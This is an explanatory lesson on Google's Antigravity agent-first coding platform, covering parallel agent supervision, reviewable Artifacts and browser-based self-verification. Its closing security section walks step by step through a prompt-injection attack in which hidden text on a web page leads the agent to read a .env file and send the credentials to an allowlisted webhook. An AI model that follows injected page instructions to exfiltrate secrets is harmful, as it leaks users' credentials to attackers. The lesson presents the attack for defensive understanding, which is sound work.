Google Antigravity is the clearest example so far of an “agent-first” development platform: instead of putting an AI in a sidebar of your editor, it puts the editor, terminal, and browser inside the agent, and asks you to work like an architect supervising several agents at once. In this lesson, we’ll take apart how that inversion actually works, what the agent produces so you can trust it, how it verifies its own changes by driving a real browser, and where the whole design has a sharp, documented security edge.
Antigravity launched in public preview on 18 November 2025 alongside Gemini 3, built by the team behind Windsurf. Because it is new, this lesson is careful about evidence. Every claim is tagged as confirmed (official Google/Antigravity sources), reported (reputable secondary coverage or hands-on reviews), or undisclosed (not public). We’ll draw each subsystem as a diagram and show the workflow or configuration that makes it concrete.
By the end you’ll be able to:
- Explain the “agent-first” inversion and how it differs from Cursor or Copilot.
- Describe the Agent Manager and how one person supervises several agents in parallel.
- Say what an Artifact is and why it is the unit of trust.
- Trace how an agent verifies its own work by driving a browser, and reproduce the loop.
- Explain the prompt-injection exfiltration risk that shipped with the browser agent, and why it is the flip side of the same superpower.
Agent-first means the surfaces live inside the agent
Every AI editor so far embeds a model inside a tool: a completion in your editor, a chat in a panel. Antigravity inverts that. In Google’s own framing, “surfaces are embedded into the agent” rather than the agent being embedded in a surface (confirmed, Introducing Google Antigravity). You act as the architect, and agents “autonomously plan, execute, and verify complex tasks across your editor, terminal, and browser” (confirmed, Google developers blog).
Concretely it ships two modes: an Editor View (a familiar AI IDE with tab completions, inline commands, and a side-panel agent) and a Manager Surface (the agent-first console where you spawn and supervise agents). It is a heavily modified fork of Visual Studio Code (reported, Visual Studio Magazine).
flowchart TB
subgraph OLD["Traditional AI IDE"]
ED1["Editor"] --> AI1["AI plugin in a sidebar"]
end
subgraph NEW["Antigravity (agent-first)"]
AGENT["Agent"]
AGENT --> EDS["Editor surface"]
AGENT --> TERM["Terminal surface"]
AGENT --> BROW["Browser surface"]
end
The difference from Cursor or Copilot, as reviewers put it, is the altitude: those tools assist inside an editor, while Antigravity gives an agent a whole task end to end and makes it produce evidence of what it did (reported, Codecademy comparison). The idea to carry forward: once the agent owns the surfaces, the human’s job shifts from typing to reviewing, and the rest of the design is about making that review fast and trustworthy.
Mission control: supervising several agents at once
The Manager Surface is “a dedicated interface where you can spawn, orchestrate, and observe multiple agents working asynchronously across different workspaces” (confirmed, developers blog). Reviewers describe it as a bird’s-eye “mission control” and report you can run several agents in parallel, each on its own task, toggling to the Editor with a keyboard shortcut (reported, Agent Manager deep-dive; the specific “up to 5” figure is reported, not official).
A workspace is a bounded context: a directory, repo, or project. The recommended practice is one agent per workspace, since multiple agents in one directory tend to interfere. An Inbox consolidates every agent’s notifications and approval requests into one queue (reported, same source). In current docs, agents run in a Local Mode (the active folder) or a New Worktree Mode (an isolated Git worktree), inside project folder boundaries (confirmed, getting started).
flowchart TB MGR["Agent Manager (mission control)"] MGR --> W1["Workspace A: bug fix"] MGR --> W2["Workspace B: new feature"] MGR --> W3["Workspace C: write tests"] W1 --> INBOX["Shared Inbox<br/>(approvals + notifications)"] W2 --> INBOX W3 --> INBOX
The mechanism is ordinary fan-out with isolation and a single review queue. In pseudocode the supervisor loop is:
agents = [spawn(task, workspace=w, mode="worktree") for task, w in jobs]
while any(a.running for a in agents):
event = inbox.next() # one queue across all agents
if event.kind == "needs_review":
show_artifact(event.artifact) # you review, not babysit
event.agent.resume(decision) # approve / comment / redirect
# agents otherwise keep running in parallel, each in its own worktreeThe teaching point: parallel agents are only useful if a human can supervise them without drowning, which is why the Inbox (one queue) and worktrees (no collisions) matter as much as the agents themselves. This is the same “context isolation is the reason to fan out” logic that governs multi-agent systems, applied at the IDE level.
Artifacts: the unit you review instead of raw logs
The piece that makes supervision workable is the Artifact. Google defines it as “a structured deliverable created by the agent to accomplish its task and communicate its progress and thinking to the human user” (confirmed, Artifacts docs). Documented types include Implementation Plans (rich Markdown), task lists, walkthroughs, code diffs, architecture diagrams, screenshots, and browser recordings of the agent’s own UI actions (confirmed, blog, getting started).
The point is verifiable, asynchronous collaboration. Instead of reading raw logs, you review high-level deliverables at key milestones, and Artifacts function as “reviewable receipts.” Feedback is Google-Docs style: you comment inline on a text plan or select-and-comment on a visual, and the agent incorporates it mid-execution. An Artifact can be set to “Asks for Review,” which pauses the agent at that milestone until you approve (confirmed, Artifacts docs).
flowchart LR
P["Implementation Plan"] --> G{"Asks for review?"}
G -->|comment| P
G -->|approve| T["Task list"]
T --> D["Code diff"]
D --> V["Screenshot / browser recording<br/>(verification)"]
V --> WK["Walkthrough summary"]
You can picture the review gate as a checkpoint the agent yields at:
def milestone(artifact):
publish(artifact) # plan, diff, or recording
if artifact.asks_for_review:
feedback = wait_for_human() # inline comments, Google-Docs style
if feedback:
return revise(artifact, feedback)
return proceed()The line to remember: an Artifact turns “trust me, it works” into “here is the plan I followed and a recording of it working,” which is the only way one person can oversee several autonomous agents at once.
Editor, terminal, browser: and the browser is how it checks itself
Antigravity agents operate across three surfaces at once: the code editor, the terminal, and a web browser (confirmed, developers blog). The browser is the differentiator. A dedicated Browser Subagent can “open, read, and actuate a local Chrome browser,” navigate URLs, operate multiple tabs, and capture screenshots and action videos as Artifacts (confirmed, browser docs).
That is what lets an agent verify its own work rather than merely assert it. The canonical loop reviewers describe: scaffold an app in the editor, start the dev server in the terminal, load the app in the browser, click through a flow, notice a visual or functional defect, patch it, and re-verify, attaching the recording as proof (reported, The New Stack hands-on).
flowchart LR
EDIT["Editor: write code"] --> RUN["Terminal: npm run dev"]
RUN --> OPEN["Browser: open the app"]
OPEN --> CHECK{"Flow works?"}
CHECK -->|no| EDIT
CHECK -->|yes| PROOF["Capture screenshot / recording"]
Under the hood the browser subagent is just another tool the top-level agent calls, and the returned screenshot is the ground-truth signal that closes the loop:
run_tool("terminal", {"cmd": "npm run dev"})
run_tool("browser_subagent", {"action": "open", "url": "http://localhost:3000"})
run_tool("browser_subagent", {"action": "click", "selector": "#checkout"})
shot = run_tool("browser_subagent", {"action": "screenshot"}) # evidence
if not looks_correct(shot):
patch_code() # the screenshot drives the next edit
# ...then re-open, re-click, re-screenshot until it passesThis is the same principle that governs any reliable coding agent: give it a check it can run, and the loop closes on its own. Antigravity’s version of “the check” is a real browser session, and the recording of that session is what it hands you. The line to remember: driving the browser is both how the agent verifies itself and how it proves it to you, one mechanism doing two jobs.
Turning the autonomy dial
Autonomy in Antigravity is tunable, not all-or-nothing. It is set with slash commands: /goal runs to completion without intermediate prompts, /grill-me makes the agent ask clarifying questions before implementing, and /schedule runs tasks on a timer or recurring schedule; review gating is set per-Artifact with “Asks for Review” (confirmed, getting started). Google frames the platform around four tenets: Trust, Autonomy, Feedback, and Self-improvement, where self-improvement means agents keep a knowledge base of “knowledge items” learned from past work and your feedback (confirmed, blog).
flowchart LR A["/grill-me<br/>(asks first)"] --> B["Per-milestone<br/>review gates"] B --> C["/goal<br/>(runs to completion)"] C --> D["/schedule<br/>(unattended, recurring)"]
The recommended posture from reviewers is “autonomy is a dial, not a switch”: start with review-required, lean on Artifacts as evidence, and expand autonomy where it is earned, keeping destructive terminal operations gated (reported, hands-on guides).
On models, Antigravity offers generous rate limits on Gemini 3 Pro plus support for Anthropic’s Claude Sonnet 4.5 and OpenAI’s GPT-OSS (confirmed, blog). Gemini 3 Pro is the flagship, with a 1M-token context window and strong tool-use benchmarks (54.2% on Terminal-Bench 2.0, top of WebDev Arena), which underpin the agentic claims (confirmed, Gemini 3 for developers). Whether specific subagents (like the browser subagent) are pinned to particular models is undisclosed.
What is public about the architecture, and what is not
Confirmed: the client is a VS Code fork bundling a Chromium browser surface and a terminal; there is real agent/subagent decomposition (a top-level agent plus specialized subagents, notably the Browser Subagent with a browser_subagent tool and a run_command shell tool); and execution isolation uses Git worktree mode, a separate Chrome profile, a URL allowlist and denylist, and project folder boundaries (browser docs, getting started).
Undisclosed: how the agent decomposes tasks and decides to spawn subagents, how the knowledge base is stored, the server-side model hosting, and exact concurrency limits. The “up to 5 agents” and “auto-downgrade to a smaller model on quota” details are reported, not official.
The superpower and the risk are the same feature
A responsible account of Antigravity has to hold two things together. The browser subagent that verifies your app is the same capability that, within a week of launch, security researchers used to demonstrate data exfiltration.
The documented attack (confirmed, Simon Willison’s writeup, corroborated by Embrace The Red): a poisoned web page carried hidden instructions (1-point font). The agent, reading that page, was steered into using its run_command shell tool to cat a .env file of secrets, then had the browser subagent navigate to webhook.site (which was on the browser tool’s default allowlist) with the AWS credentials in the URL, exfiltrating them. Google’s Bug Hunters page has listed “data exfiltration and code execution via prompt injections through the browser agent” among known issues.
flowchart LR PAGE["Malicious page<br/>(hidden 1pt instructions)"] --> AGENT["Agent reads the page"] AGENT --> CAT["run_command: cat .env"] CAT --> NAV["browser_subagent: open<br/>webhook.site?key=SECRET"] NAV --> LEAK["Secrets exfiltrated<br/>(allowlisted destination)"]
The reason this matters as a design lesson, not just a bug report: an agent that reads untrusted content (web pages, issues, logs) and also holds powerful tools (a shell, a browser that can reach the network) has no built-in wall between “content it is reading” and “instructions it should follow.” This is indirect prompt injection, and prompt-level mitigations are not controls. Real controls are structural: hold credentials outside the agent’s reach, tighten the network allowlist to a small set of destinations the agent has no reason to leave, and gate destructive shell commands behind human review. Antigravity’s own isolation primitives (separate Chrome profile, allowlist/denylist, worktrees) are exactly this kind of structural control, and the exfiltration worked because a broad default allowlist left the egress leg open.
The line to remember: the browser makes the agent able to verify itself and able to leak secrets, because both are just “the agent takes real actions on the network,” and the only reliable defense is to remove the capability, not to ask the model nicely.
Putting it together
Antigravity is a bet that the right unit of work is a supervised agent, not an assisted keystroke. The inversion puts the editor, terminal, and browser inside the agent; the Agent Manager lets one person run several at once; Artifacts make their work reviewable at a glance; and the browser surface lets an agent both verify its changes and prove it. The autonomy dial and the model choices tune how much you delegate. And the security episode is the necessary counterweight: the same actuation that closes the verify loop opens an exfiltration path unless the environment, not the prompt, holds the line.
If you remember one thing: an agent that can act in the world is only as safe as the walls around it, and Antigravity is the clearest case yet of a platform whose greatest strength and greatest risk are the exact same feature.